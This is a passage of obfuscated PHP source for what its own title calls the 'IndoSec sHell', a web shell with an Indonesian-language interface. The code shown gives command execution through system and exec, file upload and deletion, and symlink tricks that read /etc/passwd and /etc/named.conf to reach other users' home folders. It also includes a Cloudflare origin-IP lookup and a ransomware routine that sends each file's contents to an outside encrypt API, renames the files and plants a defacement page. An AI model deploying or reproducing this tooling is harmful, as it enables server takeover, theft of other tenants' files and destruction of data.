	\x9\x9\x9		<th class="text-left">File/folder</th>
\xa\x9\x9\x9\x9\x9	<th>Size</th>
		\x9\x9		<th>Last Modified</th>
	\x9\x9	\x9\x9<th>Permission</th>
\xa\x9	\x9		\x9<th>Action</th>
\x9\x9\x9	\x9</thead>"; goto bwdhM; bwdhM: foreach ($scandir as $dir) { goto TVVRs; TVVRs: $dtime = date("d/m/y G:i", filemtime("{$dir}/{$dirx}")); goto waAzV; waAzV: if (strlen($dir) > 18) { $_dir = substr($dir, 0, 18) . "..."; } else { $_dir = $dir; } goto wBGxc; wBGxc: $_diir = $_dir; goto vaUiW; vaUiW: if (!is_dir($path . "/" . $dir) || $dir == "." || $dir == "..") { continue; } goto qL8Nx; qL8Nx: echo "<tr class="text-center">
\xa	\x9\x9\x9	\x9\x9<td class="pinggir">" . $imgfol . " <a href="?dir=" . $path . "/" . $dir . "">" . $_diir . "</a></td>
							<td>--</td>
\xa	\x9\x9\x9	\x9	<td>" . $dtime . "</td>
\xa\x9	\x9	\x9\x9	<td>
	\x9\x9	\x9\x9	<a href="?dir=" . $path . "/" . $dir . "&aksi=chmod_dir">
"; goto K6xV4; K6xV4: if (is_writable($path . "/" . $dir)) { echo "<font color="#00ff00">"; } elseif (!is_readable($path . "/" . $dir)) { echo "<font color="red">"; } goto lD1Dt; lD1Dt: echo perms($path . "/" . $dir); goto bAU8j; bAU8j: if (is_writable($path . "/" . $dir) || !is_readable($path . "/" . $dir)) { echo "</font></a></td>\xd\xa		\x9\x9\x9		<td><a title="Rename" class="badge badge-success" href="?dir=" . $path . "/" . $dir . "&aksi=rename_folder">&nbsp;<i class="fas fa-pen"></i>&nbsp;</a>&nbsp;&nbsp;<a title="Delete" class="badge badge-danger" href="?dir=" . $path . "/" . $dir . "&aksi=hapus_folder">&nbsp;<i class="fa fa-trash"></i>&nbsp;</a>
\xa	\x9		\x9\x9	</td>
		\x9\x9\x9	</tr>"; } goto rJSId; rJSId: } goto J3SOc; m95hV: $scdir = explode("/", $dir); goto pZDoR; SgkPP: function aksiUpload($dir) { echo "<form method="POST" enctype="multipart/form-data" name="uploader" id="uploader">
	\x9<div class="card">\xd\xa\x9\x9	<div class="card-body form-group">\xd
\x9\x9\x9\x9<p class="text-muted">//Multiple Upload</p>
\x9	\x9\x9<div class="custom-file">\xd\xa	\x9\x9\x9	<input type="file" name="file[]" multiple class="custom-file-input" id="customFile">\xd\xa\x9	\x9\x9\x9<label class="custom-file-label" for="customFile">Choose file</label>
\xa\x9\x9\x9\x9</div>\xd
\x9			<input type="submit" class="btn btn-sm btn-primary btn-block mt-4 p-2" name="upload" value="Upload">
	\x9\x9</div>\xd
\x9	</div>
\xa	</form>"; if (isset($_POST["upload"])) { goto wV1YF; qzynU: for ($i = 0; $i < $jumlah; $i++) { $filename = $_FILES["file"]["name"][$i]; $up = @copy($_FILES["file"]["tmp_name"][$i], "{$dir}/" . $filename); } goto NylZK; wV1YF: $jumlah = count($_FILES["file"]["name"]); goto qzynU; NylZK: if ($jumlah < 2) { if ($up) { goto sdfcn; tJwbo: swall($swa, $text, $dir); goto wRd4J; oAHdT: $text = "Berhasil Upload {$filename}"; goto tJwbo; sdfcn: $swa = "success"; goto oAHdT; wRd4J: } else { goto Gl3Sj; Gl3Sj: $swa = "error"; goto zRbvc; sKSLW: swall($swa, $text, $dir); goto wcnAP; zRbvc: $text = "Gagal Upload File"; goto sKSLW; wcnAP: } } else { goto TKtEz; YdeHl: swall($swa, $text, $dir); goto Y_Lqu; TKtEz: $swa = "success"; goto gQpol; gQpol: $text = "Berhasil Upload {$jumlah} File"; goto YdeHl; Y_Lqu: } goto wiMsA; wiMsA: } } goto AjRpV; EeAx4: @set_time_limit(0); goto dMd6a; xj_BI: function aksiSym($dir, $file) { goto XgIj2; XgIj2: $full = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); goto oWxkG; oWxkG: $d0mains = @file("/etc/named.conf"); goto s9XUh; wOjzZ: if ($d0mains) { goto objZM; eIkZm: foreach ($d0mains as $d0main) { if (eregi("zone", $d0main)) { goto BJ9Dg; Z2FHa: flush(); goto Wzcqi; BJ9Dg: preg_match_all("#zone "(.*)"#", $d0main, $domains); goto Z2FHa; Wzcqi: if (strlen(trim($domains[1][0])) > 2) { goto WODzO; BXza0: $dcount++; goto ZKkES; p2nFe: echo "<tr>
	\x9\x9		\x9\x9<td>" . $dcount . "</td>
\xa\x9	\x9	\x9\x9\x9<td class='text-left'><a href=http://www." . $domains[1][0] . "/>" . $domains[1][0] . "</a></td>\xd\xa\x9\x9	\x9		\x9<td>" . $user["name"] . "</td>
	\x9\x9				<td><a href='{$full}/indosec_sym/root/home/" . $user["name"] . "/public_html' target='_blank'>Symlink</a></td>
\x9			\x9	</tr>"; goto l07m5; WODzO: $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0])); goto p2nFe; l07m5: flush(); goto BXza0; ZKkES: } goto xDcYD; xDcYD: } } goto U3Glk; fqjNH: $file3 = "Options Indexes FollowSymLinks
\xa		DirectoryIndex indsc.html
	\x9AddType text/plain php html php5 phtml
\x9\x9AddHandler text/plain php html php5 phtml
	\x9Satisfy Any"; goto qbPT9; TW_qm: @fclose($fp3); goto gbZvh; t8kpS: $dcount = 1; goto eIkZm; objZM: @mkdir("indosec_sym", 0777); goto D1RPi; UzTM0: $fw3 = fwrite($fp3, $file3); goto TW_qm; qbPT9: $fp3 = fopen(".htaccess", "w"); goto UzTM0; s_h3k: @exe("ln -s / root"); goto fqjNH; U3Glk: echo "</table></div>"; goto ZS82Z; D1RPi: @chdir("indosec_sym"); goto s_h3k; gbZvh: echo "[ <a href='?dir={$dir}&aksi=symread'>Bypass Read</a> ] [ <a href='?dir={$dir}&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir={$dir}&aksi=sym_bypas'>Symlink Bypass</a> ]
	\x9<div class='tmp'>
\x9\x9<table class='text-center table-responsive'>
\x9		<thead class='bg-info'>
\x9	\x9\x9<th>No.</th>
\xa	\x9		<th>Domains</th>\xd
\x9	\x9	<th>Users</th>
\xa			\x9<th>symlink </th>
\x9\x9\x9</thead>"; goto t8kpS; ZS82Z: } else { $TEST = @file("/etc/passwd"); if ($TEST) { goto SkQm3; kQ5lv: $fp3 = fopen(".htaccess", "w"); goto HVvCD; IrBu3: while (!feof($file)) { $s = fgets($file); $matches = array(); $t = preg_match("/\/(.*?)\:\//s", $s, $matches); $matches = str_replace("home/", '', $matches[1]); if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") { continue; } echo "<tr>
		\x9	\x9\x9<td>" . $dcount . "</td>\xd
\x9	\x9	\x9\x9<td>" . $matches . "</td>
\xa	\x9	\x9\x9	<td><a href={$full}/indosec_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td>\xd\xa	\x9		\x9</tr>"; $dcount++; } goto w_6tO; SkQm3: @mkdir("indosec_sym", 0777); goto TuC0e; OzvZ2: echo "</table></div>"; goto krRwm; TuC0e: @chdir("indosec_sym"); goto NxnUF; NOfnQ: $file = fopen("/etc/passwd", "r") or exit("Unable to open file!"); goto IrBu3; NxnUF: @exe("ln -s / root"); goto c0Oxw; HVvCD: $fw3 = fwrite($fp3, $file3); goto oKE8D; c0Oxw: $file3 = "Options Indexes FollowSymLinks\xd\xa\x9\x9\x9DirectoryIndex indsc.html
\x9\x9\x9AddType text/plain php html php5 phtml\xd\xa\x9		AddHandler text/plain php html php5 phtml
\xa	\x9	Satisfy Any"; goto kQ5lv; w_6tO: fclose($file); goto OzvZ2; zOH7L: echo "[ <a href='?dir={$dir}&aksi=symread'>Bypass Read</a> ] [ <a href='?dir={$dir}&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir={$dir}&aksi=sym_bypas'>Symlink Bypass</a> ]
			<div class='tmp'>
\xa\x9\x9\x9<table class='text-center table-responsive'>\xd\xa\x9	\x9\x9<thead class='bg-warning'>
\xa	\x9\x9		<th>No.</th>\xd\xa\x9	\x9\x9\x9<th>Users</th>
		\x9	\x9<th>symlink </th>
\xa\x9\x9	\x9</thead>"; goto m_bGY; oKE8D: @fclose($fp3); goto zOH7L; m_bGY: $dcount = 1; goto NOfnQ; krRwm: } else { if ($os != "Windows") { goto VJN0d; wC2zW: @exe("ln -s / root"); goto vMH9h; ZddQq: echo "<br/>"; goto Babxs; R0g51: $file = fopen("test.txt", "r") or exit("Unable to open file!"); goto jG9tT; UotEu: $fw3 = fwrite($fp3, $file3); goto OdCkx; l3hg6: echo "</table></div>"; goto KI5qs; Z24Xf: @chdir("indosec_sym"); goto wC2zW; KI5qs: unlink("test.txt"); goto HGlqQ; Babxs: $temp = trim($temp); goto UVHiV; UVHiV: $file5 = fopen("test.txt", "w"); goto BX62G; GsrFS: $dcount = 1; goto R0g51; AIbFP: $val1 = 0; goto JDDeM; HpzHM: echo "[ <a href='?dir={$dir}&aksi=symread'>Bypass Read</a> ] [ <a href='?dir={$dir}&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir={$dir}&aksi=sym_bypas'>Symlink Bypass</a> ]\xd
\x9		<div class='tmp'><table class='text-center table-responsive'>
	\x9\x9\x9<thead class='bg-danger'>\xd
\x9				<th>ID.</th>
\xa\x9			\x9<th>Users</th>\xd\xa\x9	\x9		<th>symlink </th>\xd
\x9			</thead>"; goto K8HtK; CeWbZ: fclose($file5); goto GsrFS; OdCkx: @fclose($fp3); goto HpzHM; jG9tT: while (!feof($file)) { $s = fgets($file); $matches = array(); $t = preg_match("/\/(.*?)\:\//s", $s, $matches); $matches = str_replace("home/", '', $matches[1]); if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") { continue; } echo "<tr>
\xa					\x9<td>" . $dcount . "</td>
	\x9\x9		\x9<td>" . $matches . "</td>
\x9	\x9	\x9	<td><a href={$full}/indosec_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td>\xd
				\x9</tr>"; $dcount++; } goto bs4q6; BX62G: fputs($file5, $temp); goto CeWbZ; bs4q6: fclose($file); goto l3hg6; K8HtK: $temp = ''; goto AIbFP; qqe7X: $fp3 = fopen(".htaccess", "w"); goto UotEu; ljw2k: for (; $val1 <= $val2; $val1++) { $uid = @posix_getpwuid($val1); if ($uid) { $temp .= join(":", $uid) . "\xa"; } } goto ZddQq; VJN0d: @mkdir("indosec_sym", 0777); goto Z24Xf; vMH9h: $file3 = "Options Indexes FollowSymLinks
	\x9	DirectoryIndex indsc.html\xd\xa\x9	\x9AddType text/plain php html php5 phtml\xd
		\x9AddHandler text/plain php html php5 phtml
\xa\x9\x9\x9Satisfy Any"; goto qqe7X; JDDeM: $val2 = 1000; goto ljw2k; HGlqQ: } } } goto QOvt9; QOvt9: exit; goto MYT2T; s9XUh: if (!$d0mains) { die("[ <a href='?dir={$dir}&aksi=symread'>Bypass Read</a> ] [ <a href='?dir={$dir}&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir={$dir}&aksi=sym_bypas'>Symlink Bypass</a> ]<br/><font color='red'>Error tidak dapat membaca  /etc/named.conf</font><br/><br/>"); } goto wOjzZ; MYT2T: } goto WLipb; d6UQd: @ini_set("log_errors", 0); goto b023T; CxhHz: $ver = phpversion(); goto Ps3EX; hxcvI: echo "<html>\xd\xa\x9<head>
\xa	\x9<meta name="viewport" content="widht=device-widht, initial-scale=1"/>
\x9\x9<meta name="theme-color" content="#343a40"/>\xd\xa	\x9<meta name="author" content="Holiq"/>
	\x9<meta name="copyright" content="{ IndoSec }"/>\xd\xa		<title>{ IndoSec sHell }</title>
\xa	\x9<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/>
	\x9<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.2/css/all.min.css"/>
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"/>\xd\xa		<script src="https://code.jquery.com/jquery-3.3.1.js"></script>
\x9\x9<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>\xd\xa		<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/sweetalert2.all.min.js"></script>
\xa\x9</head>
\xa\x9<body class="bg-dark text-light">\xd
\x9	<script>
\x9		$(document).ready(function(){\xd
	\x9\x9	$(window).scroll(function(){
\xa					if ($(this).scrollTop() > 700){\xd\xa			\x9		$(".scrollToTop").fadeIn();
\xa	\x9	\x9	}else{\xd\xa	\x9	\x9\x9\x9$(".scrollToTop").fadeOut();
	\x9	\x9	}
\xa\x9	\x9\x9});
\xa\x9			$(".scrollToTop").click(function(){
	\x9\x9\x9\x9$("html, body").animate({scrollTop : 0},1000);
\xa\x9	\x9\x9	return false;
\x9\x9\x9	});\xd
	\x9	});
\xa\x9		$(document).ready(function(){
\xa\x9	\x9	$('input[type="file"]').on("change", function(){
		\x9	\x9let filenames = [];
\xa	\x9\x9		let files = document.getElementById("customFile").files;
\xa		\x9	\x9if (files.length > 1){\xd
\x9\x9\x9	\x9	filenames.push("Total Files (" + files.length + ")");
	\x9\x9\x9\x9}else{\xd
	\x9				for (let i in files){
\xa			\x9\x9		if (files.hasOwnProperty(i)){
\xa	\x9\x9\x9				filenames.push(files[i].name);\xd\xa			\x9			}
\x9	\x9\x9\x9\x9}
\xa\x9\x9\x9\x9	}\xd
\x9	\x9	\x9$(this).next(".custom-file-label").html(filenames.join(","));
\xa\x9	\x9	});\xd\xa\x9\x9\x9});\xd
\x9\x9\x9var max_fields = 5;
\xa	\x9\x9var x = 1;\xd
\x9		$(document).on('click', '#add_input', function(e){\xd\xa			\x9if(x < max_fields){\xd\xa\x9\x9	\x9\x9x++;
\x9\x9\x9\x9	$('#output').append('<div class=\"input-group\ form-group\ text-dark\" id=\"out\"><input type=\"text\" class=\"form-control\" name=\"nama_file[]\" placeholder=\"Nama File...\"><div class=\"input-group-prepend\ remove\"><div class=\"input-group-text\"><a href="#" class="text-dark"><i class=\"fa fa-minus\"></i></a></div></div></div>');\xd
	\x9\x9\x9}\xd
\x9\x9\x9\x9$('#output').on("click",".remove", function(e){
\xa\x9	\x9\x9\x9e.preventDefault(); $(this).parent('#out').remove(); x--;
\xa			\x9\x9repeat();\xd\xa\x9\x9	\x9})
\x9\x9	});
\x9		$(document).on('click', '#add_input1', function(e){\xd\xa\x9			if(x < max_fields){\xd\xa\x9	\x9	\x9x++;
\xa\x9			\x9$('#output1').append('<div class=\"input-group\ form-group\ text-dark\" id=\"out\"><input type=\"text\" class=\"form-control\" name=\"nama_folder[]\" placeholder=\"Nama Folder...\"><div class=\"input-group-prepend\ remove\"><div class=\"input-group-text\"><a href="#" class="text-dark"><i class=\"fa fa-minus\"></i></a></div></div></div>');
	\x9	\x9}
	\x9	\x9$('#output1').on("click",".remove", function(e){
\xa			\x9	e.preventDefault(); $(this).parent('#out').remove(); x--;
\xa			\x9	repeat();\xd\xa\x9\x9\x9\x9})
	\x9	});\xd
	\x9\x9\xd\xa\x9\x9</script>\xd\xa\x9	<style>
\xa\x9\x9	@import url(https://fonts.googleapis.com/css?family=Lato);
		\x9@import url(https://fonts.googleapis.com/css?family=Quicksand);
			@import url(https://fonts.googleapis.com/css?family=Inconsolata);\xd
	\x9	@media(min-width:767px){.scrollToTop{display:none !important;}}
\xa			@media(max-width:767px){textarea{font-size:13px !important;}}\xd
	\x9\x9input[type="text"],textarea {font-family: "Inconsolata", monospace;}
\xa			body{margin:0;padding:0;font-family:"Lato";overscroll-behavior:none;}\xd
\x9	\x9.infor{font-size:14px;color:#333!important;}\xd
	\x9\x9.ds{color:#f00!important;word-wrap:break-word;}\xd
\x9		#tab table thead th{padding:5px;font-size:16px;white-space: nowrap;}\xd
\x9\x9\x9#tab tr {border-bottom:1px solid #ccc;}\xd
\x9	\x9#tab tr:hover{background:#5B6F7D;color:#fff;}\xd\xa			#tab tr td{padding:5px 10px;white-space:nowrap;}\xd
\x9\x9	.pinggir{text-align:left !important; padding-left: 4px !important;}
\xa		\x9#tab tr td .badge{font-size:13px;}\xd\xa\x9\x9	.active,.active:hover{color:#00FF00;}
\xa\x9\x9\x9a {font-family:"Quicksand"; color:white;}
\xa	\x9\x9a:hover{color:dodgerBlue;}
\x9\x9\x9.badge{width:30px;transition:.3s;}
\xa		\x9.badge:hover{transform: scale(1.1);transition:.3s;}
\x9\x9\x9.ico {width:25px;}
\xa	\x9\x9.ico2{width:30px;}
\xa\x9	\x9.scrollToTop{\xd
	\x9\x9\x9position:fixed;
\xa		\x9\x9bottom:30px;
\xa\x9\x9\x9	right:30px;\xd
\x9		\x9width:35px;\xd
\x9		\x9height:35px;
\xa				background:#262626;
	\x9\x9	color:#fff;\xd\xa		\x9\x9border-radius:15%;\xd
		\x9	text-align:center;
\xa				opacity:.5;
\xa\x9\x9\x9}\xd
\x9	\x9.scrollToTop:hover{color:#fff;}\xd\xa\x9\x9\x9.up{font-size:25px;line-height:35px;}\xd
	\x9\x9.lain{color:#888888;font-size:20px;margin-left:5px;top:1px;}\xd
			.lain:hover{color:#fff;}
	\x9\x9.tambah{\xd\xa		\x9\x9width:35px;
\xa\x9\x9\x9\x9height:35px;\xd
	\x9		line-height:35px;
\x9\x9		border:1px solid;
\xa	\x9\x9	border-radius:50%;
			\x9text-align:center;
\xa	\x9	}
\x9\x9\x9.fiture{margin:3px;}
\xa\x9\x9\x9.tmp th {font-size:14px;}\xd
\x9	\x9.tmp tr td{border:solid 1px #BBBBBB;text-align:center;font-size:13px;padding:2px 5px;}\xd
	\x9	.tmp tr:hover{background:#5B6F7D; color:#fff;}
\xa		\x9.about{color:#000;}
\xa\x9		.about .card-body .img{\xd
\x9	\x9	position: relative;\xd
\x9	\x9\x9background: url(https://i.postimg.cc/Wb1X4xNS/image.png);
				background-size: cover;\xd
\x9		\x9width: 150px;
\xa\x9\x9	\x9height: 150px;\xd
	\x9\x9}
\xa		\x9.butn {
\x9	\x9\x9position: relative;\xd\xa		\x9\x9text-align: center;
		\x9\x9padding: 3px;\xd
\x9\x9		background:rgba(225,225,225,.3);\xd\xa	\x9		-webkit-transition: background 300ms ease, color 300ms ease;\xd
\x9	\x9\x9transition: background 300ms ease, color 300ms ease;\xd\xa			}\xd
	\x9	input[type="radio"].toggle {display:none;}\xd\xa\x9		input[type="radio"].toggle + label {cursor:pointer;margin:0 2px;width:60px;}
	\x9	input[type="radio"].toggle + label:after {\xd
	\x9\x9	position: absolute;
\xa\x9		\x9content: "";\xd
	\x9\x9\x9top: 0;
	\x9	\x9background: #fff;
\xa\x9			height: 100%;
\xa\x9\x9		width: 100%;\xd
\x9\x9		z-index: -1;\xd
	\x9\x9	-webkit-transition: left 400ms cubic-bezier(0.77, 0, 0.175, 1);
\x9\x9\x9\x9transition: left 400ms cubic-bezier(0.77, 0, 0.175, 1);\xd
\x9\x9\x9}
\xa	\x9	input[type="radio"].toggle.toggle-left + label:after {left:100%;}\xd
	\x9	input[type="radio"].toggle.toggle-right + label {margin-left:-5px;}\xd\xa\x9\x9\x9input[type="radio"].toggle.toggle-right + label:after {left:-100%;}\xd\xa\x9		input[type="radio"].toggle:checked + label {cursor:default;color:#000;-webkit-transition:color 400ms;transition: color 400ms;}\xd
\x9	\x9input[type="radio"].toggle:checked + label:after {left:0;}
\x9\x9</style>\xd\xa	\x9<nav class="navbar static-top navbar-dark">
\xa\x9\x9	<button class="navbar-toggler"type="button" data-toggle="collapse" data-target="#info" aria-label="Toggle navigation">\xd\xa				<i style="color:#fff;" class="fa fa-navicon"></i>
\x9		</button>\xd\xa\x9	\x9<div class="collapse navbar-collapse" id="info">
\xa\x9	\x9\x9<ul>
\x9			\x9<a href="https://facebook.com/IndoSecOfficial" class="lain"><i class="fa fa-facebook tambah"></i></a>\xd
\x9\x9			<a href="https://www.instagram.com/indosec.id" class="lain"><i class="fa fa-instagram tambah"></i></a>
\xa\x9	\x9\x9	<a href="https://www.youtube.com/IndoSec" class="lain"><i class="fa fa-youtube-play tambah"></i></a>\xd
		\x9\x9\x9<a href="https://github.com/indosecid" class="lain"><i class="fa fa-github tambah"></i></a>
\xa\x9\x9\x9\x9	<a href="https://indosec.web.id" class="lain"><i class="fa fa-globe tambah"></i></a>
\x9\x9\x9\x9</ul>\xd
	\x9\x9</div>\xd
\x9	</nav>
\xa	\x9"; goto lIdeL; ZW7rE: $default_use_ajax = true; goto nTsOG; PlgOz: if ($_GET["aksi"] == "bctools") { bcTool($dir, $file); } goto gBjsA; bMmbo: function hapusFile($dir, $file, $nfile) { goto G4y4B; G4y4B: echo "[ <a href="?dir=" . $dir . "&aksi=view&file=" . $file . "">Lihat</a> ]  [ <a href="?dir=" . $dir . "&aksi=edit&file=" . $file . "">Edit</a> ]  [ <a href="?dir=" . $dir . "&aksi=rename&file=" . $file . "">Rename</a> ]  [ <a class="active" href="?dir=" . $dir . "&aksi=hapusf&file=" . $file . "">Delete</a> ]"; goto ga3xo; W4Z2H: if ($_POST["ya"]) { if (unlink($file)) { goto H1iJ8; H1iJ8: $swa = "success"; goto wWvMI; wWvMI: $text = "Berhasil Menghapus File"; goto dz3Pd; dz3Pd: swall($swa, $text, $dir); goto EswTe; EswTe: } else { goto cYI9y; SeJcT: swall($swa, $text, $dir); goto ecjX_; MtF9r: $text = "Gagal Menghapus File"; goto SeJcT; cYI9y: $swa = "error"; goto MtF9r; ecjX_: } } goto vF6nu; ga3xo: echo "<div class='card card-body text-center text-dark mb-4'>
\x9\x9<p>Yakin Menghapus : {$nfile}</p>\xd
\x9\x9<form method='POST'>
\xa\x9\x9	<a class='btn btn-danger btn-block' href='?dir={$dir}'>Tidak</a>
	\x9\x9<input type='submit' name='ya' class='btn btn-success btn-success btn-block' value='Ya'>\xd\xa	\x9</form>\xd
	</div>"; goto W4Z2H; vF6nu: } goto VrQx0; RZJj2: function r($dir, $perm) { if (!is_readable($dir)) { return "<font color=red>" . $perm . "</font>"; } else { return "<font color=lime>" . $perm . "</font>"; } } goto eUJ9r; pSA_Z: $total = disk_total_space($dir); goto ZxAyc; dr5yf: @ini_set("display_errors", 0); goto wJqsn; eUJ9r: function exe($cmd) { if (function_exists("system")) { goto Uw3BZ; FFzj6: @ob_end_clean(); goto swOFy; coJX9: $buff = @ob_get_contents(); goto FFzj6; Uw3BZ: @ob_start(); goto U2yNP; U2yNP: @system($cmd); goto coJX9; swOFy: return $buff; goto jN0g9; jN0g9: } elseif (function_exists("exec")) { goto BEVpL; BEVpL: @exec($cmd, $results); goto P3N9U; P3N9U: $buff = ''; goto YBK20; Z2P3_: return $buff; goto YkBWl; YBK20: foreach ($results as $result) { $buff .= $result; } goto Z2P3_; YkBWl: } elseif (function_exists("passthru")) { goto KgjmF; E9L7P: @passthru($cmd); goto uT4Ek; iGD9M: return $buff; goto tKMl6; oH9gV: @ob_end_clean(); goto iGD9M; KgjmF: @ob_start(); goto E9L7P; uT4Ek: $buff = @ob_get_contents(); goto oH9gV; tKMl6: } elseif (function_exists("shell_exec")) { $buff = @shell_exec($cmd); return $buff; } } goto SVbJ1; dMaf5: function bypasscf() { goto ax0z1; JxgRK: if ($_POST["idsPilih"] == "cpanel") { $cpanel = gethostbyname("cpanel." . "{$target}"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct 
\xa		ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>{$cpanel}</font></p>"; } goto qz4Z1; G2qql: if ($_POST["idsPilih"] == "direct-conntect") { $direct = gethostbyname("direct-connect." . "{$target}"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct 
\x9\x9ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>{$direct}</font></p>"; } goto IRf19; qz4Z1: exit; goto J5G0b; IRf19: if ($_POST["idsPilih"] == "webmail") { $web = gethostbyname("webmail." . "{$target}"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct \xd\xa\x9	ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>{$web}</font></p>"; } goto JxgRK; bBct5: $target = $_POST["target"]; goto uf8eS; uf8eS: if ($_POST["idsPilih"] == "ftp") { $ftp = gethostbyname("ftp." . "{$target}"); echo "<p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct \xd\xa\x9\x9ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>{$ftp}</font></p>"; } goto G2qql; ax0z1: echo "<form method="POST">\xd
		<h5 class="text-center mb-3">Bypass Cloud Flare</h5>\xd\xa\x9	<div class="form-group input-group">
\xa	\x9	<select class="form-control" name="idsPilih">
\xa\x9	\x9\x9<option>Pilih Metode</option>
\x9			<option>ftp</option>
\xa\x9			<option>direct-conntect</option>\xd
\x9	\x9	<option>webmail</option>
\xa\x9\x9	\x9<option>cpanel</option>
\xa\x9\x9\x9</select>\xd\xa\x9	</div>
	\x9<div class="form-group input-group mb-4">\xd
\x9\x9\x9<input class="form-control" type="text" name="target" placeholder="Masukan Url">
\xa\x9	\x9<input class="btn btn-danger form-control" type="submit" value="Bypass">
\xa	\x9</div>
\x9</form>"; goto bBct5; J5G0b: } goto pxxCU; Ejk2k: if ($_GET["aksi"] == "masdel") { aksiMasdel($dir, $file, $imgfol, $imgfile); } goto vs3BQ; vs3BQ: if ($_GET["aksi"] == "jumping") { aksiJump($dir, $file, $ip); } goto A3jfK; ZQ018: session_start(); goto Yfk60; QId2Q: if ($_GET["aksi"] == "view") { view($dir, $file, $nfile, $imgfile); } goto S0OC8; Q1kC3: function ransom($dir, $file) { if (isset($_POST["encrypt"])) { goto bVdqf; FgDKO: echo "<textarea class='form-control mb-4' rows='13' disabled=''>"; goto NxVVJ; yg1Cu: echo "</textarea><br/>"; goto Hycs9; bVdqf: $dir = $_POST["path"]; goto FgDKO; NxVVJ: function listFolderFiles($dir) { if (is_dir($dir)) { goto fPsMD; L1ZUX: $index = file_get_contents("https://pastebin.com/raw/aGZ6BeTH"); goto T3bF4; gAkoR: if (count($ffs) < 1) { return; } goto RJiYZ; RJiYZ: foreach ($ffs as $ff) { goto c2_Yt; zHj3f: if (!is_dir($files)) { goto HT3sr; Kxrp0: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto NW4cD; NW4cD: curl_setopt($ch, CURLOPT_POSTFIELDS, "text={$_a}"); goto DeEdg; HT3sr: $file = file_get_contents($files); goto iF7VE; qFHCv: curl_setopt($ch, CURLOPT_URL, "http://encrypt.indsc.me/api.php?type=encrypt"); goto Kxrp0; DeEdg: $x = json_decode(curl_exec($ch)); goto gH630; aKrdv: $ch = curl_init(); goto qFHCv; gH630: if ($x->status == "success") { goto ZmsLI; gXfz0: rename($files, $files . ".indsc"); goto Drjtn; ZmsLI: $_enc = base64_decode($x->data); goto gXfz0; Drjtn: echo "[+]{$files} => Success Encrypted\xa"; goto vtSeE; vtSeE: } goto Zd09O; iF7VE: $_a = base64_encode($file); goto aKrdv; Zd09O: } goto n9mCq; c2_Yt: $files = $dir . "/" . $ff; goto zHj3f; n9mCq: if (is_dir($dir . "/" . $ff)) { listFolderFiles($dir . "/" . $ff); } goto IbFg6; IbFg6: } goto L1ZUX; Trmq9: unset($ffs[array_search("..", $ffs, true)]); goto gAkoR; fPsMD: $ffs = scandir($dir); goto RX10x; nHBQR: echo "
[+] Done !"; goto acDXe; T3bF4: $_o = fopen($dir . "/index.html", "w"); goto TCnYJ; TCnYJ: fwrite($_o, $index); goto Fa_MB; RX10x: unset($ffs[array_search(".", $ffs, true)]); goto Trmq9; Fa_MB: fclose($_o); goto nHBQR; acDXe: } else { echo "\xaBukan dir"; } } goto hIdiM; hIdiM: listFolderFiles($dir); goto yg1Cu; Hycs9: } else { echo "<form method="post">
\x9	\x9<div class="form-group">\xd
	\x9\x9	<h4 class="text-center mb-4"><i class="fa fa-lock"></i> Ransomware</h4>
\x9\x9\x9\x9<label>Pilih Directory :</label>
\xa\x9\x9\x9	<div class="form-group input-group">\xd
\x9				<div class="input-group-prepend">
\xa\x9	\x9	\x9\x9<div class="input-group-text"><i class="fa fa-home"></i></div>\xd\xa				\x9</div>\xd
\x9		\x9	<input type="text" name="path" class="form-control" value="" . $dir . ""/>\xd\xa		\x9\x9</div>
